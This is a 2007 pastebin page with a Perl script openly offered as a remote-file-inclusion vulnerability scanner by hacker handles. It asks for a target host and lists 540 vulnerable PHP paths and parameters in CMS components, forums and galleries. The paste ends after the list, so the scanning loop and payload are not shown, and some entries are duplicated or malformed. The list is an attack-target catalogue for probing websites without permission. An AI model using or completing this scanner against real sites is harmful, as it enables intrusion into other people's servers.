Part of Slepp's Projects — Pastebin — TURL — Imagebin — Filebin
Feedback -- English French German Japanese
Create Upload Newest Tools Donate
Sign In | Create Account

Paste Actions

Download Raw
Embed
pBox URL
Post to Twitter
View Children
Remove Paste

Paste Details

Raw format, 4 years 3 months old, and 35,999 hits.

Unnamed
Friday, November 2nd, 2007 at 7:04:44am MDT 

  1. #!/usr/bin/perl
  2. #Scan a host for rfi vulnz
  3. # by Crash_Overide, Thz to: theBoss. Hack too :P
  4. use HTTP::Request;
  5. use LWP::UserAgent;
  6.  
  7. &inizio;
  8. sub inizio{
  9. print q(
  10.   ###########################
  11.      Rfi vulnz scanner
  12.        by The[Boss]-korell@hotmail.it
  13.   ###########################
  14. );
  15. print "\n Insert host:(ex: http://www.site.com/)\n";
  16. $host=<STDIN>;
  17. chomp($host);
  18. print "Ok lets scan..\n";
  19. $rfi1="admin/admin_styles.php?mode=";
  20. $rfi2="surveys/survey.inc.php?path=";
  21. $rfi3="index.php?body=";
  22. $rfi4="classes/adodbt/sql.php?classes_dir=";
  23. $rfi5="enc/content.php?Home_Path=";
  24. $rfi6="classified_right.php?language_dir=";
  25. $rfi7="sources/functions.php?CONFIG[main_path]=";
  26. $rfi8="sources/template.php?CONFIG[main_path]=";
  27. $rfi9="embed/day.php?path=";
  28. $rfi10="includes/dbal.php?eqdkp_root_path=";
  29. $rfi11="sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]=";
  30. $rfi12="includes/kb_constants.php?module_root_path=";
  31. $rfi13="mcf.php?content=";
  32. $rfi14="components/com_facileforms/facileforms.frame.php?ff_compath=";
  33. $rfi15="skins/advanced/advanced1.php?pluginpath[0]=";
  34. $rfi16="zipndownload.php?PP_PATH=";
  35. $rfi17="administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=";
  36. $rfi18="components/com_zoom/includes/database.php?mosConfig_absolute_path=";
  37. $rfi19="main.php?sayfa=";
  38. $rfi20="components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=";
  39. $rfi21="addpost_newpoll.php?addpoll=preview&thispath=";
  40. $rfi22="header.php?abspath=";
  41. $rfi23="components/com_performs/performs.php?mosConfig_absolute_path=";
  42. $rfi24="administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=";
  43. $rfi25="impex/ImpExData.php?systempath=";
  44. $rfi26="modules/vwar/admin/admin.php?vwar_root=";
  45. $rfi27="coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=";
  46. $rfi28="tools/send_reminders.php?includedir=";
  47. $rfi29="skin/zero_vote/error.php?dir=";
  48. $rfi30="modules/TotalCalendar/about.php?inc_dir=";
  49. $rfi31="login.php?dir=";
  50. $rfi32="tags.php?BBCodeFile=";
  51. $rfi33="index.php?pageurl=";
  52. $rfi34="templates/headline_temp.php?nst_inc=";
  53. $rfi35="index.php?var=";
  54. $rfi36="index.php?pagina=";
  55. $rfi37="index.php?go=";
  56. $rfi38="index.php?site=";
  57. $rfi39="phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=";
  58. $rfi40="administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=";
  59. $rfi41="index.php?id=";
  60. $rfi42="index1.php?=";
  61. $rfi43="main.php?id=";
  62. $rfi44="content.php?page=";
  63. $rfi45="admin.php?page=";
  64. $rfi46="lib/gore.php?libpath=";
  65. $rfi47="SQuery/lib/gore.php?libpath=";
  66. $rfi48="index2.php?p=";
  67. $rfi49="index1.php?go=";
  68. $rfi50="news_detail.php?file=";
  69. $rfi51="old_reports.php?file=";
  70. $rfi52="index.php?x=";
  71. $rfi53="index.php?nic=";
  72. $rfi54="homepage.php?sel=";
  73. $rfi55="index.php?sel=";
  74. $rfi56="main.php?x=";
  75. $rfi57="components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=";
  76. $rfi58="index2.php?x=";
  77. $rfi59="main.php?pagina=";
  78. $rfi60="test.php?page=";
  79. $rfi61="components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=";
  80. $rfi62="akocomments.php?mosConfig_absolute_path=";
  81. $rfi63="index.php?page=";
  82. $rfi64="*.php?page=";
  83. $rfi65="index.php?oldal=";
  84. $rfi66="index.php?lang=gr&file=";
  85. $rfi67="index.php?pag=";
  86. $rfi68="index.php?incl=";
  87. $rfi69="avatar.php?page=";
  88. $rfi70="index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=";
  89. $rfi71="index.php?p=";
  90. $rfi72="modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=";
  91. $rfi73="index.php?mode=";
  92. $rfi74="index.php?stranica=";
  93. $rfi75="index.php?sub=";
  94. $rfi76="index.php?t=";
  95. $rfi77="index.php?r=";
  96. $rfi78="index.php?menu=";
  97. $rfi79="solpot.html?body=";
  98. $rfi80="port.php?content=";
  99. $rfi81="index0.php?show=";
  100. $rfi82="index.php?topic=";
  101. $rfi83="index.php?u=";
  102. $rfi84="administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_path=";
  103. $rfi85="administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=";
  104. $rfi86="modules/My_eGallery/index.php?basepath=";
  105. $rfi87="index.php?loc=";
  106. $rfi88="myevent.php?myevent_path=";
  107. $rfi89="administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=";
  108. $rfi90="includes/functions.php?phpbb_root_path=";
  109. $rfi91="m2f/m2f_phpbb204.php?m2f_root_path=";
  110. $rfi92="show.php?path=";
  111. $rfi93="administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=";
  112. $rfi94="index.php?template=";
  113. $rfi95="search.php?cutepath=";
  114. $rfi96="show_news.php?cutepath=";
  115. $rfi97="page.php?doc=";
  116. $rfi98="administrator/components/com_webring/admin.webring.docs.php?component_dir=";
  117. $rfi99="administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=";
  118. $rfi100="help.php?css_path=";
  119. $rfi101="components/com_galleria/galleria.html.php?mosConfig_absolute_path=";
  120. $rfi102="big.php?pathtotemplate=";
  121. $rfi103="includes/search.php?GlobalSettings[templatesDirectory]=";
  122. $rfi104="interna/tiny_mce/plugins/ibrowser/ibrowser.php?tinyMCE_imglib_include=";
  123. $rfi105="functions.php?include_path=";
  124. $rfi106="includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=";
  125. $rfi107="class.mysql.php?path_to_bt_dir=";
  126. $rfi108="include/footer.inc.php?_AMLconfig[cfg_serverpath]=";
  127. $rfi109="squirrelcart/cart_content.php?cart_isp_root=";
  128. $rfi110="index2.php?to=";
  129. $rfi111="index.php?load=";
  130. $rfi112="home.php?pagina=";
  131. $rfi113="modules/coppermine/include/init.inc.php?CPG_M_DIR=";
  132. $rfi114="modules/Forums/admin/admin_styles.php?phpbb_root_path=";
  133. $rfi115="modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=";
  134. $rfi116="modules/My_eGallery/public/displayCategory.php?basepath=";
  135. $rfi117="modules/4nAlbum/public/displayCategory.php?basepath=";
  136. $rfi118="include/write.php?dir=";
  137. $rfi119="db.php?path_local=";
  138. $rfi120="index.php?url=";
  139. $rfi121="index.php?p=";
  140. $rfi122="index.php?openfile=";
  141. $rfi123="index.php?file=";
  142. $rfi124="index.php?content=";
  143. $rfi125="index.php?side=";
  144. $rfi126="index.php?kobr=";
  145. $rfi127="index.php?doc=";
  146. $rfi128="index.php?l=";
  147. $rfi129="index.php?a=";
  148. $rfi130="index.php?principal=";
  149. $rfi131="index.php?show=";
  150. $rfi132="index.php?opcao=";
  151. $rfi133="index.php?conteudo=";
  152. $rfi134="index.php?meio=";
  153. $rfi135="index.php?inc=";
  154. $rfi136="index.php?c=";
  155. $rfi137="index.php?rage=";
  156. $rfi138="index.php?arquivo=";
  157. $rfi139="components/com_mtree/Savant2/Savant2_Plugin_stylesheet.php?mosConfig_absolute_path=";
  158. $rfi140="index.php?place=";
  159. $rfi141="index.php?dsp=";
  160. $rfi142="index.php?dept=";
  161. $rfi143="index.php?lg=";
  162. $rfi144="index.php?inhalt=";
  163. $rfi145="index.php?ort=";
  164. $rfi146="index.php?pilih=";
  165. $rfi147="principal.php?conteudo=";
  166. $rfi148="main.php?site=";
  167. $rfi149="template.php?pagina=";
  168. $rfi150="contenido.php?sec=";
  169. $rfi151="index_principal.php?pagina=";
  170. $rfi152="template.php?name=";
  171. $rfi153="forum.php?act=";
  172. $rfi154="home.php?action=";
  173. $rfi155="noticias.php?arq=";
  174. $rfi156="main.php?page=";
  175. $rfi157="default.php?page=";
  176. $rfi158="index.php?cont=";
  177. $rfi159="index.php?configFile=";
  178. $rfi160="index.php?meio.php=";
  179. $rfi161="index.php?include=";
  180. $rfi162="index.php?open=";
  181. $rfi163="index.php?visualizar=";
  182. $rfi164="index.php?cat=";
  183. $rfi165="index.php?action=";
  184. $rfi166="index.php?do=";
  185. $rfi167="index2.php?content=";
  186. $rfi168="index.phpmain.php?x=";
  187. $rfi169="index.php?link=";
  188. $rfi170="index.php?canal=";
  189. $rfi171="index.php?screen=";
  190. $rfi172="index.php?langc=";
  191. $rfi173="services.php?page=";
  192. $rfi174="htmltonuke.php?filnavn=";
  193. $rfi175="ihm.php?p=";
  194. $rfi176="folder.php?id=";
  195. $rfi177="index.php?Load=";
  196. $rfi178="index.php?Language=";
  197. $rfi179="hall.php?file=";
  198. $rfi180="hall.php?page=";
  199. $rfi181="template.php?goto=";
  200. $rfi182="video.php?content=";
  201. $rfi183="pages.php?page=";
  202. $rfi184="print.php?page=";
  203. $rfi185="show.php?page=";
  204. $rfi186="view.php?page=";
  205. $rfi187="media.php?page=";
  206. $rfi188="index1.php?choix=";
  207. $rfi189="index1.php?menu=";
  208. $rfi190="index2.php?showpage=";
  209. $rfi191="index2.php?ascii_seite=";
  210. $rfi192="index2.php?DoAction=";
  211. $rfi193="index2.php?ID=";
  212. $rfi194="index2.php?url_page=";
  213. $rfi195="index1.php?dat=";
  214. $rfi196="index1.php?site=";
  215. $rfi197="home.php?content=";
  216. $rfi198="main.php?link=";
  217. $rfi199="home.php?x=";
  218. $rfi200="index1.php?x=";
  219. $rfi201="modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=";
  220. $rfi202="modules/agendax/addevent.inc.php?agendax_path=";
  221. $rfi203="include/main.php?config[search_disp]=true&include_dir=";
  222. $rfi204="contrib/yabbse/poc.php?poc_root_path=";
  223. $rfi205="phpopenchat/contrib/yabbse/poc.php?sourcedir=";
  224. $rfi206="photoalb/lib/static/header.php?set_menu=";
  225. $rfi207="squito/photolist.inc.php?photoroot=";
  226. $rfi208="bz/squito/photolist.inc.php?photoroot=";
  227. $rfi209="ppa/inc/functions.inc.php?config[ppa_root_path]=";
  228. $rfi210="spid/lang/lang.php?lang_path=";
  229. $rfi211="classes.php?LOCAL_PATH=";
  230. $rfi212="al_initialize.php?alpath=";
  231. $rfi213="modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=";
  232. $rfi214="index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=";
  233. $rfi215="extensions/moblog/moblog_lib.php?basedir=";
  234. $rfi216="app/common/lib/codeBeautifier/Beautifier/Core.php?BEAUT_PATH=";
  235. $rfi217="modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=";
  236. $rfi218="components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=";
  237. $rfi219="components/com_smf/smf.php?mosConfig_absolute_path=";
  238. $rfi220="components/com_cpg/cpg.php?mosConfig_absolute_path=";
  239. $rfi221="administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=";
  240. $rfi222="admin_modules/admin_module_deldir.inc.php?config[path_src_include]=";
  241. $rfi223="inc/cmses/aedating4CMS.php?dir[inc]=";
  242. $rfi224="components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_path=";
  243. $rfi225="jscript.php?my_ms[root]=";
  244. $rfi226="popup_window.php?site_isp_root=";
  245. $rfi227="yabbse/Sources/Packages.php?sourcedir=";
  246. $rfi228="includes/functions_portal.php?phpbb_root_path=";
  247. $rfi229="includes/header.php?systempath=";
  248. $rfi230="Gallery/displayCategory.php?basepath=";
  249. $rfi231="index.inc.php?PATH_Includes=";
  250. $rfi232="nphp/nphpd.php?nphp_config[LangFile]=";
  251. $rfi233="include/db.php?GLOBALS[rootdp]=";
  252. $rfi234="ashnews.php?pathtoashnews=";
  253. $rfi235="ashheadlines.php?pathtoashnews=";
  254. $rfi236="demo/includes/init.php?user_inc=";
  255. $rfi237="jaf/index.php?show=";
  256. $rfi238="inc/shows.inc.php?cutepath=";
  257. $rfi239="poll/admin/common.inc.php?base_path=";
  258. $rfi240="pollvote/pollvote.php?pollname=";
  259. $rfi241="sources/post.php?fil_config=";
  260. $rfi242="bb_lib/checkdb.inc.php?libpach=";
  261. $rfi243="include/livre_include.php?no_connect=lol&chem_absolu=";
  262. $rfi244="index.php?from_market=Y&pageurl=";
  263. $rfi245="modules/mod_mainmenu.php?mosConfig_absolute_path=";
  264. $rfi246="pivot/modules/module_db.php?pivot_path=";
  265. $rfi247="derniers_commentaires.php?rep=";
  266. $rfi248="modules/coppermine/themes/default/theme.php?THEME_DIR=";
  267. $rfi249="modules/coppermine/themes/coppercop/theme.php?THEME_DIR=";
  268. $rfi250="coppermine/themes/maze/theme.php?THEME_DIR=";
  269. $rfi251="allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=";
  270. $rfi252="allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=";
  271. $rfi253="myPHPCalendar/admin.php?cal_dir=";
  272. $rfi254="agendax/addevent.inc.php?agendax_path=";
  273. $rfi255="index1.php?p=";
  274. $rfi256="include/new-visitor.inc.php?lvc_include_dir=";
  275. $rfi257="shoutbox/expanded.php?conf=";
  276. $rfi258="library/editor/editor.php?root=";
  277. $rfi259="library/lib.php?root=";
  278. $rfi260="e107/e107_handlers/secure_img_render.php?p=";
  279. $rfi261="zentrack/index.php?configFile=";
  280. $rfi262="becommunity/community/index.php?pageurl=";
  281. $rfi263="GradeMap/index.php?page=";
  282. $rfi264="phpopenchat/contrib/yabbse/poc.php?sourcedir=";
  283. $rfi265="calendar/calendar.php?serverPath=";
  284. $rfi266="calendar/functions/popup.php?serverPath=";
  285. $rfi267="calendar/events/header.inc.php?serverPath=";
  286. $rfi268="calendar/events/datePicker.php?serverPath=";
  287. $rfi269="calendar/setup/setupSQL.php?serverPath=";
  288. $rfi270="calendar/setup/header.inc.php?serverPath=";
  289. $rfi271="mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=";
  290. $rfi272="inc/header.php/step_one.php?server_inc=";
  291. $rfi273="install/index.php?lng=../../include/main.inc&G_PATH=";
  292. $rfi274="inc/pipe.php?HCL_path=";
  293. $rfi275="support/mailling/maillist/inc/initdb.php?absolute_path=";
  294. $rfi276="coppercop/theme.php?THEME_DIR=";
  295. $rfi277="dotproject/modules/projects/addedit.php?root_dir=";
  296. $rfi278="dotproject/modules/projects/view.php?root_dir=";
  297. $rfi279="dotproject/modules/projects/vw_files.php?root_dir=";
  298. $rfi280="dotproject/modules/tasks/addedit.php?root_dir=";
  299. $rfi281="dotproject/modules/tasks/viewgantt.php?root_dir=";
  300. $rfi282="My_eGallery/public/displayCategory.php?basepath=";
  301. $rfi283="index.php?include=";
  302. $rfi284="index.php?x=";
  303. $rfi285="index.php?content=";
  304. $rfi286="index.php?cat=";
  305. $rfi287="index2.php?x=";
  306. $rfi288="GradeMap/index.php?page=";
  307. $rfi289="path_of_cpcommerce/_functions.php?prefix=";
  308. $rfi290="contacts.php?cal_dir=";
  309. $rfi291="convert-date.php?cal_dir=";
  310. $rfi292="album_portal.php?phpbb_root_path=";
  311. $rfi293="mainfile.php?MAIN_PATH=";
  312. $rfi294="dotproject/modules/files/index_table.php?root_dir=";
  313. $rfi295="html/affich.php?base=";
  314. $rfi296="gallery/init.php?HTTP_POST_VARS=";
  315. $rfi297="pm/lib.inc.php?pm_path=";
  316. $rfi298="ideabox/include.php?gorumDir=";
  317. $rfi299="index2.php?includes_dir=";
  318. $rfi300="forums/toplist.php?phpbb_root_path=";
  319. $rfi301="forum/toplist.php?phpbb_root_path=";
  320. $rfi302="admin/config_settings.tpl.php?include_path=";
  321. $rfi303="include/common.php?include_path=";
  322. $rfi304="event/index.php?page=";
  323. $rfi305="forum/index.php?includeFooter=";
  324. $rfi306="forums/index.php?includeFooter=";
  325. $rfi307="forum/bb_admin.php?includeFooter=";
  326. $rfi308="forums/bb_admin.php?includeFooter=";
  327. $rfi309="language/lang_english/lang_activity.php?phpbb_root_path=";
  328. $rfi310="forum/language/lang_english/lang_activity.php?phpbb_root_path=";
  329. $rfi311="blend_data/blend_common.php?phpbb_root_path=";
  330. $rfi312="master.php?root_path=";
  331. $rfi313="forum/includes/kb_constants.php?module_root_path=";
  332. $rfi314="forums/includes/kb_constants.php?module_root_path=";
  333. $rfi315="agenda.php3?rootagenda=";
  334. $rfi316="agenda2.php3?rootagenda=";
  335. $rfi317="sources/lostpw.php?CONFIG[path]=";
  336. $rfi318="topsites/sources/lostpw.php?CONFIG[path]=";
  337. $rfi319="toplist/sources/lostpw.php?CONFIG[path]=";
  338. $rfi320="sources/join.php?CONFIG[path]=";
  339. $rfi321="topsites/sources/join.php?CONFIG[path]=";
  340. $rfi322="toplist/sources/join.php?CONFIG[path]=";
  341. $rfi323="topsite/sources/join.php?CONFIG[path]=";
  342. $rfi324="public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=";
  343. $rfi325="extras/poll/poll.php?file_newsportal=";
  344. $rfi326="index.php?site_path=";
  345. $rfi327="mail/index.php?site_path=";
  346. $rfi328="fclick/show.php?path=";
  347. $rfi329="calogic/reconfig.php?GLOBALS[CLPath]=";
  348. $rfi330="eshow.php?Config_rootdir=";
  349. $rfi331="auction/auction_common.php?phpbb_root_path=";
  350. $rfi332="index.php?inc_dir=";
  351. $rfi333="calendar/index.php?inc_dir=";
  352. $rfi334="modules/TotalCalendar/index.php?inc_dir=";
  353. $rfi335="modules/calendar/index.php?inc_dir=";
  354. $rfi336="calendar/embed/day.php?path=";
  355. $rfi337="ACalendar/embed/day.php?path=";
  356. $rfi338="calendar/add_event.php?inc_dir=";
  357. $rfi339="claroline/auth/extauth/drivers/ldap.inc.php?clarolineRepositorySys=";
  358. $rfi340="claroline/auth/ldap/authldap.php?includePath=";
  359. $rfi341="docebo/modules/credits/help.php?lang=";
  360. $rfi342="modules/credits/help.php?lang=";
  361. $rfi343="config.php?returnpath=";
  362. $rfi344="editsite.php?returnpath=";
  363. $rfi345="in.php?returnpath=";
  364. $rfi346="addsite.php?returnpath=";
  365. $rfi347="includes/pafiledb_constants.php?module_root_path=";
  366. $rfi348="phpBB/includes/pafiledb_constants.php?module_root_path=";
  367. $rfi349="pafiledb/includes/pafiledb_constants.php?module_root_path=";
  368. $rfi350="auth/auth.php?phpbb_root_path=";
  369. $rfi351="auth/auth_phpbb/phpbb_root_path=";
  370. $rfi352="apc-aa/cron.php3?GLOBALS[AA_INC_PATH]=";
  371. $rfi353="apc-aa/cached.php3?GLOBALS[AA_INC_PATH]=";
  372. $rfi354="infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=";
  373. $rfi355="phpdig/includes/config.php?relative_script_path=";
  374. $rfi356="includes/phpdig/includes/config.php?relative_script_path=";
  375. $rfi357="eqdkp/includes/dbal.php?eqdkp_root_path=";
  376. $rfi358="dkp/includes/dbal.php?eqdkp_root_path=";
  377. $rfi359="path/include/SQuery/gameSpy2.php?libpath=";
  378. $rfi360="include/global.php?GLOBALS[includeBit]=";
  379. $rfi361="topsites/config.php?returnpath=";
  380. $rfi362="manager/frontinc/prepend.php?_PX_config[manager_path]=";
  381. $rfi363="ubbthreads/addpost_newpoll.php?addpoll=thispath=";
  382. $rfi364="forum/addpost_newpoll.php?thispath=";
  383. $rfi365="forums/addpost_newpoll.php?thispath=";
  384. $rfi366="ubbthreads/ubbt.inc.php?thispath=";
  385. $rfi367="forums/ubbt.inc.php?thispath=";
  386. $rfi368="forum/ubbt.inc.php?thispath=";
  387. $rfi369="forum/admin/addentry.php?phpbb_root_path=";
  388. $rfi370="admin/addentry.php?phpbb_root_path=";
  389. $rfi371="index.php?f=";
  390. $rfi372="index.php?act=";
  391. $rfi373="ipchat.php?root_path=";
  392. $rfi374="includes/orderSuccess.inc.php?glob[rootDir]=";
  393. $rfi375="stats.php?dir[func]=dir[base]=";
  394. $rfi376="ladder/stats.php?dir[base]=";
  395. $rfi377="ladders/stats.php?dir[base]=";
  396. $rfi378="sphider/admin/configset.php?settings_dir=";
  397. $rfi379="admin/configset.php?settings_dir=";
  398. $rfi380="vwar/admin/admin.php?vwar_root=";
  399. $rfi381="modules/vWar_Account/includes/get_header.php?vwar_root=";
  400. $rfi382="modules/vWar_Account/includes/functions_common.php?vwar_root2=";
  401. $rfi383="forum/impex/ImpExData.php?systempath=";
  402. $rfi384="forums/impex/ImpExData.php?systempath=";
  403. $rfi385="application.php?base_path=";
  404. $rfi386="index.php?theme_path=";
  405. $rfi387="become_editor.php?theme_path=";
  406. $rfi388="add.php?theme_path=";
  407. $rfi389="bad_link.php?theme_path=";
  408. $rfi390="browse.php?theme_path=";
  409. $rfi391="detail.php?theme_path=";
  410. $rfi392="fav.php?theme_path=";
  411. $rfi393="get_rated.php?theme_path=";
  412. $rfi394="login.php?theme_path=";
  413. $rfi395="mailing_list.php?theme_path=";
  414. $rfi396="new.php?theme_path=";
  415. $rfi397="modify.php?theme_path=";
  416. $rfi398="pick.php?theme_path=";
  417. $rfi399="power_search.php?theme_path=";
  418. $rfi400="rating.php?theme_path=";
  419. $rfi401="register.php?theme_path=";
  420. $rfi402="review.php?theme_path=";
  421. $rfi403="rss.php?theme_path=";
  422. $rfi404="search.php?theme_path=";
  423. $rfi405="send_pwd.php?theme_path=";
  424. $rfi406="sendmail.php?theme_path=";
  425. $rfi407="tell_friend.php?theme_path=";
  426. $rfi408="top_rated.php?theme_path=";
  427. $rfi409="user_detail.php?theme_path=";
  428. $rfi410="user_search.php?theme_path=";
  429. $rfi411="invoice.php?base_path=";
  430. $rfi412="cgi-bin//classes/adodbt/sql.php?classes_dir=";
  431. $rfi413="cgi-bin/install/index.php?G_PATH=";
  432. $rfi414="cgi-bin/include/print_category.php?dir=";
  433. $rfi415="includes/class_template.php?quezza_root_path=";
  434. $rfi416="bazar/classified_right.php?language_dir=";
  435. $rfi417="phpBazar/classified_right.php?language_dir=";
  436. $rfi418="chat/messagesL.php3?cmd=";
  437. $rfi419="phpMyChat/chat/messagesL.php3?cmd=";
  438. $rfi420="bbs/include/write.php?dir=";
  439. $rfi421="visitorupload.php?cmd=";
  440. $rfi422="modules/center/admin/accounts/process.php?module_path]=";
  441. $rfi423="armygame.php?libpath=";
  442. $rfi424="lire.php?rub=";
  443. $rfi425="pathofhostadmin/?page=";
  444. $rfi426="apa_phpinclude.inc.php?apa_module_basedir=";
  445. $rfi427="index.php?req_path=";
  446. $rfi428="research/boards/encapsbb-0.3.2_fixed/index_header.php?root=";
  447. $rfi429="Farsi1/index.php?archive=";
  448. $rfi430="index.php?archive=";
  449. $rfi431="show_archives.php?template=";
  450. $rfi432="forum/include/common.php?pun_root=";
  451. $rfi433="pmwiki wiki/pmwiki-2.1.beta20/pmwiki.php?GLOBALS[FarmD]=";
  452. $rfi434="vuln.php?=";
  453. $rfi435="cgi-bin//include/write.php?dir=";
  454. $rfi436="admin/common.inc.php?basepath=";
  455. $rfi437="pm/lib.inc.php?sfx=";
  456. $rfi438="artmedic-kleinanzeigen-path/index.php?id=";
  457. $rfi439="osticket/include/main.php?include_dir=";
  458. $rfi440="include/main.php?config[search_disp]=include_dir=";
  459. $rfi441="phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=";
  460. $rfi442="quick_reply.php?phpbb_root_path=";
  461. $rfi443="zboard/include/write.php?dir=";
  462. $rfi444="PATH/admin/plog-admin-functions.php?configbasedir=";
  463. $rfi445="path_to_phpgreetz/content.php?content=";
  464. $rfi446="path_to_qnews/q-news.php?id=";
  465. $rfi447="_conf/core/common-tpl-vars.php?confdir=";
  466. $rfi448="votebox.php?VoteBoxPath=";
  467. $rfi449="modules/news/archivednews.php?GLOBALS[language_home]=";
  468. $rfi450="protection.php?siteurl=";
  469. $rfi451="phpWebLog/include/init.inc.php?G_PATH=";
  470. $rfi452="admin/objects.inc.php4?Server=";
  471. $rfi453="trg_news30/trgnews/install/article.php?dir=";
  472. $rfi454="block.php?Include=";
  473. $rfi455="arpuivo.php?data=";
  474. $rfi456="path_to_gallery/setup/index.php?GALLERY_BASEDIR=";
  475. $rfi457="include/help.php?base=";
  476. $rfi458="index.php?[Home]=";
  477. $rfi459="path_to_script/block.php?Include=";
  478. $rfi460="examples/phonebook.php?page=";
  479. $rfi461="PHPNews/auth.php?path=";
  480. $rfi462="include/print_category.php?dir=";
  481. $rfi463="skin/zero_vote/login.php?dir=";
  482. $rfi464="skin/zero_vote/setup.php?dir=";
  483. $rfi465="skin/zero_vote/ask_password.php?dir=";
  484. $rfi466="gui/include/sql.php?include_path=";
  485. $rfi467="webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=";
  486. $rfi468="email.php?login=cer_skin=";
  487. $rfi469="PhotoGal/ops/gals.php?news_file=";
  488. $rfi470="index.php?custom=";
  489. $rfi471="loginout.php?cutepath=";
  490. $rfi472="oneadmin/config.php?path[docroot]=";
  491. $rfi473="xcomic/initialize.php?xcomicRootPath=";
  492. $rfi474="skin/zero_vote/error.php? dir=";
  493. $rfi475="admin_modules/admin_module_captions.inc.php?config[path_src_include]=";
  494. $rfi476="admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=";
  495. $rfi477="admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=";
  496. $rfi478="admin_modules/admin_module_edit.inc.php?config[path_src_include]=";
  497. $rfi479="admin_modules/admin_module_delimage.inc.php?config[path_src_include]=";
  498. $rfi480="src/index_overview.inc.php?config[path_src_include]=";
  499. $rfi481="src/index_leftnavbar.inc.php?config[path_src_include]=";
  500. $rfi482="src/index_image.inc.php?config[path_src_include]=";
  501. $rfi483="src/image-gd.class.php?config[path_src_include]=";
  502. $rfi484="src/image.class.php?config[path_src_include]=";
  503. $rfi485="src/album.class.php?config[path_src_include]=";
  504. $rfi486="src/show_random.inc.php?config[path_src_include]=";
  505. $rfi487="src/main.inc.php?config[path_src_include]=";
  506. $rfi488="src/index_passwd-admin.inc.php?config[path_admin_include]=";
  507. $rfi489="yappa-ng/src/index_overview.inc.php?config[path_src_include]=";
  508. $rfi490="src/image.class.php?config[image_module]=";
  509. $rfi491="includes/db_adodb.php?baseDir=";
  510. $rfi492="includes/db_connect.php?baseDir=";
  511. $rfi493="includes/session.php?baseDir=";
  512. $rfi494="modules/projects/gantt.php?dPconfig[root_dir]=";
  513. $rfi495="modules/projects/gantt2.php?dPconfig[root_dir]=";
  514. $rfi496="modules/projects/vw_files.php?dPconfig[root_dir]=";
  515. $rfi497="modules/admin/vw_usr_roles.php?baseDir=";
  516. $rfi498="modules/public/calendar.php?baseDir=";
  517. $rfi499="modules/public/date_format.php?baseDir=";
  518. $rfi500="modules/tasks/gantt.php?baseDir=";
  519. $rfi501="mantis/login_page.php?g_meta_include_file=";
  520. $rfi502="phpgedview/help_text_vars.php?PGV_BASE_DIRECTORY=";
  521. $rfi503="nukebrowser.php?filnavn=";
  522. $rfi504="bug_sponsorship_list_view_inc.php?t_core_path=";
  523. $rfi505="modules/coppermine/themes/maze/theme.php?THEME_DIR=";
  524. $rfi506="includes/calendar.php?phpc_root_path=";
  525. $rfi507="includes/setup.php?phpc_root_path=";
  526. $rfi508="phpBB/admin/admin_styles.php?mode=";
  527. $rfi509="aMember/plugins/db/mysql/mysql.inc.php?config=";
  528. $rfi510="admin/lang.php?CMS_ADMIN_PAGE=";
  529. $rfi511="modules/newbb_plus/class/forumpollrenderer.php?bbPath=";
  530. $rfi512="journal.php?m=";
  531. $rfi513="index.php?m=";
  532. $rfi514="links.php?c=";
  533. $rfi515="forums.php?m=";
  534. $rfi516="list.php?c=";
  535. $rfi517="user.php?xoops_redirect=";
  536. $rfi518="r.php?url=";
  537. $rfi519="CubeCart/includes/orderSuccess.inc.php?&glob[rootDir]=";
  538. $rfi520="inc/formmail.inc.php?script_root=";
  539. $rfi521="include/init.inc.php?G_PATH=";
  540. $rfi522="backend/addons/links/index.php?PATH=";
  541. $rfi523="modules/newbb_plus/class/class.forumposts.php?bbPath[path]=";
  542. $rfi524="mail_autocheck.php?pm_path=";
  543. $rfi525="path_of_cpcommerce/_functions.php?prefix=";
  544. $rfi526="community/modules/agendax/addevent.inc.php?agendax_path=";
  545. $rfi527="index.php/main.php?x=";
  546. $rfi528="includes/include_onde.php?include_file=";
  547. $rfi529="index.php?pg=";
  548. $rfi530="print.php?val1=";
  549. $rfi531="cmd.php?function=";
  550. $rfi532="iframe.php?file=";
  551. $rfi533="os/pointer.php?url=";
  552. $rfi534="p_uppc_francais/pages_php/p_aidcon_conseils/index.php?FM=";
  553. $rfi535="phpGedView/individual.php?PGV_BASE_DIRECTORY=";
  554. $rfi536="index.php?kietu[url_hit]=";
  555. $rfi537="phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=";
  556. $rfi538="Sources/Packages.php?sourcedir=";
  557. $rfi539="cgi-bin//gadgets/Blog/BlogModel.php?path=";
  558. $rfi540="cgi-bin//admin.php?cal_dir=";
